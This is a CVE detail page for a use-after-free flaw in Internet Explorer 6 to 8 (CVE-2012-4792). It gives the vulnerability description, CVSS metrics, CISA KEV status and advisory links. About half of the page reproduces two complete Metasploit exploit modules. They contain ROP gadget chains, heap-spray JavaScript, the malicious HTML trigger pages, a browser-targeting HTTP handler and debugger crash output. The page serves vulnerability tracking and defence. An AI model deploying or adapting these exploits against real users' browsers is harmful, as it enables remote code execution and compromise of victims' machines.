CVE-2012-4792 : Detail

CVE-2012-4792

8.8
/
High
Memory Corruption
93.65%V3
Network
2012-12-30
17h00 +00:00
2024-07-23
16h20 +00:00
CVE.org
NVD
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CVE Descriptions

Use-after-free vulnerability in Microsoft Internet Explorer 6 through 8 allows remote attackers to execute arbitrary code via a crafted web site that triggers access to an object that (1) was not properly allocated or (2) is deleted, as demonstrated by a CDwnBindInfo object, and exploited in the wild in December 2012.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft Internet Explorer Use-After-Free Vulnerability

Required action : The impacted product is end-of-life and should be disconnected if still in use.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2024-07-22 22h00 +00:00

Action is due : 2024-08-12 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 23785

Publication date : 2013-01-01 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "8.0", :ua_maxver => "8.0", :javascript => true, :os_name => OperatingSystems::WINDOWS, :rank => GoodRanking }) def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Internet Explorer CButton Object Use-After-Free Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CButton object is freed, but a reference is kept and used again during a page reload, an invalid memory that's controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers. }, 'License' => MSF_LICENSE, 'Author' => [ 'eromang', 'mahmud ab rahman', 'juan vazquez', #Metasploit 'sinn3r', #Metasploit 'Peter Vreugdenhil' #New trigger & new exploit technique ], 'References' => [ [ 'CVE', '2012-4792' ], [ 'US-CERT-VU', '154201' ], [ 'BID', '57070' ], [ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'], [ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'], [ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ], [ 'URL', 'http://blogs.technet.com/b/srd/archive/2012/12/29/new-vulnerability-affecting-internet-explorer-8-users.aspx' ], [ 'URL', 'http://blog.exodusintel.com/2013/01/02/happy-new-year-analysis-of-cve-2012-4792/' ], [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/12/29/microsoft-internet-explorer-0-day-marks-the-end-of-2012' ] ], 'Payload' => { 'BadChars' => "\x00", 'Space' => 1024, 'DisableNops' => true }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jre } ], [ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre } ] ], 'Privileged' => false, 'DisclosureDate' => "Dec 27 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '5.2' os_name = 'Windows Server 2003' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' else # OS not supported return nil end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie8_smil(my_target, p) case my_target['Rop'] when :msvcrt case my_target.name when 'IE 8 on Windows XP SP3' align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET when 'IE 8 on Windows Server 2003' align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*")) xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*")) end else align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*")) xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*")) end padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4)) js_payload = Rex::Text.to_unescape(p) js = %Q| unicorn = unescape("#{padding}"); for (i=0; i < 3; i++) { unicorn += unescape("#{padding}"); } unicorn += unescape("#{js_payload}"); animvalues = unescape("#{align_esp}"); for (i=0; i < 0xDC/4; i++) { if (i == 0xDC/4-1) { animvalues += unescape("#{xchg_esp}"); } else { animvalues += unescape("#{align_esp}"); } } animvalues += unicorn; for(i = 0; i < 21; i++) { animvalues += ";cyan"; } | if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def junk(n=4) return rand_text_alpha(n).unpack("V")[0].to_i end def nop return make_nops(4).unpack("V")[0].to_i end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? case t['Rop'] when :msvcrt case t.name when 'IE 8 on Windows XP SP3' rop_gadgets = [ 0x77c1e844, # POP EBP # RETN [msvcrt.dll] 0x77c1e844, # skip 4 bytes [msvcrt.dll] 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] 0xffffffff, 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c127e5, # INC EBX # RETN [msvcrt.dll] 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] 0x77c3048a, # POP EDI # RETN [msvcrt.dll] 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] 0x77c46efb, # POP ESI # RETN [msvcrt.dll] 0x77c2aacc, # JMP [EAX] [msvcrt.dll] 0x77c3b860, # POP EAX # RETN [msvcrt.dll] 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] ].pack("V*") when 'IE 8 on Windows Server 2003' rop_gadgets = [ 0x77bb2563, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77bb0c86, # XCHG EAX,ESI # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp # ret' 0x77bb2563, # POP EAX # RETN 0x03C0990F, 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bb2563, # POP EAX # RETN 0x03c0984f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bb2563, # POP EAX # RETN nop, 0x77be6591 # PUSHAD # ADD AL,0EF # RETN ].pack("V*") end else rop_gadgets = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] 0x7c3415a2, # JMP [EAX] [msvcr71.dll] 0xffffffff, 0x7c376402, # skip 4 bytes [msvcr71.dll] 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] 0x7c344f87, # POP EDX # RETN [msvcr71.dll] 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] 0x7c34d201, # POP ECX # RETN [msvcr71.dll] 0x7c38b001, # &Writable location [msvcr71.dll] 0x7c347f97, # POP EAX # RETN [msvcr71.dll] 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] # rop chain generated with mona.py ].pack("V*") end rop_payload = rop_gadgets case t['Rop'] when :msvcrt rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 else rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 end rop_payload << code rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie8_smil(my_target, p) html = %Q| <!doctype html> <HTML XMLNS:t ="urn:schemas-microsoft-com:time"> <head> <meta> <?IMPORT namespace="t" implementation="#default#time2"> </meta> <script> function helloWorld() { e_form = document.getElementById("formelm"); e_div = document.getElementById("divelm"); #{js} for(i =0; i < 20; i++) { document.createElement('button'); } e_div.appendChild(document.createElement('button')) e_div.firstChild.applyElement(e_form); e_div.innerHTML = "" e_div.appendChild(document.createElement('body')); CollectGarbage(); try { a = document.getElementById('myanim'); a.values = animvalues; } catch(e) {} } </script> </head> <body onload="eval(helloWorld())"> <t:ANIMATECOLOR id="myanim"/> <div id="divelm"></div> <form id="formelm"> </form> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin (87c.f40): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400 eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CMarkup::OnLoadStatusDone+0x504: 637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=???????? 0:008> k ChildEBP RetAddr 020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504 020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47 020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f 020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12 020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb 020bfd78 7e418734 mshtml!GlobalWndProc+0x183 020bfda4 7e418816 USER32!InternalCallWinProc+0x28 020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150 020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306 020bfe7c 01252ec9 USER32!DispatchMessageW+0xf 020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461 020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1 020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab 020bffec 00000000 kernel32!BaseThreadStart+0x37 0:008> r eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120 eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x504: 637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=???????? =end
Exploit Database EDB-ID : 23754

Publication date : 2012-12-30 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, 'Name' => "Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Internet Explorer. A use-after-free condition occurs when a CDwnBindInfo object is freed by FollowHyperlink2, but a reference is kept in CDoc. As a result, when the reference is used again during a page reload, an invalid memory that's controllable is used, and allows arbitrary code execution under the context of the user. Please note: This vulnerability has been exploited in the wild targeting mainly China/Taiwan/and US-based computers. }, 'License' => MSF_LICENSE, 'Author' => [ 'eromang', 'mahmud ab rahman', 'sinn3r' #Metasploit ], 'References' => [ [ 'CVE', '2012-4792' ], [ 'US-CERT-VU', '154201' ], [ 'URL', 'http://blog.fireeye.com/research/2012/12/council-foreign-relations-water-hole-attack-details.html'], [ 'URL', 'http://eromang.zataz.com/2012/12/29/attack-and-ie-0day-informations-used-against-council-on-foreign-relations/'], [ 'URL', 'http://blog.vulnhunt.com/index.php/2012/12/29/new-ie-0day-coming-mshtmlcdwnbindinfo-object-use-after-free-vulnerability/' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2794220' ] ], 'Payload' => { 'Space' => 980, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30 [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x586' } ], # 0x0c0c0b30 [ 'IE 8 on Windows Server 2003', { 'Rop' => :msvcrt, 'Offset' => '0x586' } ], # 0x0c0c0b30 [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x586' } ] # 0x0c0c0b30 ], 'Privileged' => false, 'DisclosureDate' => "Dec 27 2012", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '5.2' os_name = 'Windows Server 2003' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' else # OS not supported return nil end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) print_status("Target selected as: #{t.name}") return t end end return nil end def ie_heap_spray(my_target, p) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch)) # Land the payload at 0x0c0c0b30 js = %Q| var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{my_target['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); | js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end return js end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? =begin Stack Pivoting to eax: 0:008> db eax 0c0c0b30 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................ 0c0c0b40 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................ =end # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") if t['Name'] =~ /Windows XP/ stack_pivot = [0x77c15ed6].pack("V") * 54 # ret stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'}) else stack_pivot = [0x77bcba5f].pack("V") * 54 # ret stack_pivot << [0x77bb4158].pack("V") # pop ebx, #ret stack_pivot << [0x77bcba5e].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'2003'}) end else print_status("Using JRE ROP") stack_pivot = [0x7c348b06].pack("V") * 54 # ret stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) end return rop_payload end def load_exploit_html(my_target, cli) p = get_payload(my_target, cli) js = ie_heap_spray(my_target, p) html = %Q| <!doctype html> <html> <head> <script> #{js} function exploit() { var e0 = null; var e1 = null; var e2 = null; var arrObject = new Array(3000); var elmObject = new Array(500); for (var i = 0; i < arrObject.length; i++) { arrObject[i] = document.createElement('div'); arrObject[i].className = unescape("ababababababababababababababababababababa"); } for (var i = 0; i < arrObject.length; i += 2) { arrObject[i].className = null; } CollectGarbage(); for (var i = 0; i < elmObject.length; i ++) { elmObject[i] = document.createElement('button'); } for (var i = 1; i < arrObject.length; i += 2) { arrObject[i].className = null; } CollectGarbage(); try { e0 = document.getElementById("a"); e1 = document.getElementById("b"); e2 = document.createElement("q"); e1.applyElement(e2); e1.appendChild(document.createElement('button')); e1.applyElement(e0); e2.outerText = ""; e2.appendChild(document.createElement('body')); } catch(e) { } CollectGarbage(); for(var i =0; i < 20; i++) { arrObject[i].className = unescape("ababababababababababababababababababababa"); } var eip = window; var data = "https://www.google.com/settings/account"; eip.location = unescape("%u0b30%u0c0c" + data); } </script> </head> <body onload="eval(exploit())"> <form id="a"> </form> <dfn id="b"> </dfn> </body> </html> | return html end def on_request_uri(cli, request) agent = request.headers['User-Agent'] uri = request.uri print_status("Requesting: #{uri}") my_target = get_target(agent) # Avoid the attack if no suitable target found if my_target.nil? print_error("Browser not supported, sending 404: #{agent}") send_not_found(cli) return end html = load_exploit_html(my_target, cli) html = html.gsub(/^\t\t/, '') print_status("Sending HTML...") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin (87c.f40): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400 eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CMarkup::OnLoadStatusDone+0x504: 637848c3 ff90dc000000 call dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=???????? 0:008> k ChildEBP RetAddr 020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504 020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47 020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f 020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12 020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb 020bfd78 7e418734 mshtml!GlobalWndProc+0x183 020bfda4 7e418816 USER32!InternalCallWinProc+0x28 020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150 020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306 020bfe7c 01252ec9 USER32!DispatchMessageW+0xf 020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461 020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1 020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab 020bffec 00000000 kernel32!BaseThreadStart+0x37 0:008> r eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120 eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 mshtml!CMarkup::OnLoadStatusDone+0x504: 637848c3 ff90dc000000 call dword ptr [eax+0DCh] ds:0023:0c0c0ce8=???????? =end

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 7

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version *

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_vista >> Version *

Microsoft>>Windows_vista >> Version -

Microsoft>>Windows_xp >> Version *

Microsoft>>Windows_xp >> Version -

Configuraton 0

Microsoft>>Internet_explorer >> Version 8

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_server_2003 >> Version *

Microsoft>>Windows_server_2008 >> Version *

    Microsoft>>Windows_server_2008 >> Version *

    Microsoft>>Windows_server_2008 >> Version -

    Microsoft>>Windows_server_2008 >> Version -

    Microsoft>>Windows_vista >> Version *

    Microsoft>>Windows_vista >> Version -

    Microsoft>>Windows_xp >> Version *

    Microsoft>>Windows_xp >> Version -

    References

    http://www.us-cert.gov/cas/techalerts/TA13-008A.html
    Tags : third-party-advisory, x_refsource_CERT
    http://www.kb.cert.org/vuls/id/154201
    Tags : third-party-advisory, x_refsource_CERT-VN
    http://www.us-cert.gov/cas/techalerts/TA13-015A.html
    Tags : third-party-advisory, x_refsource_CERT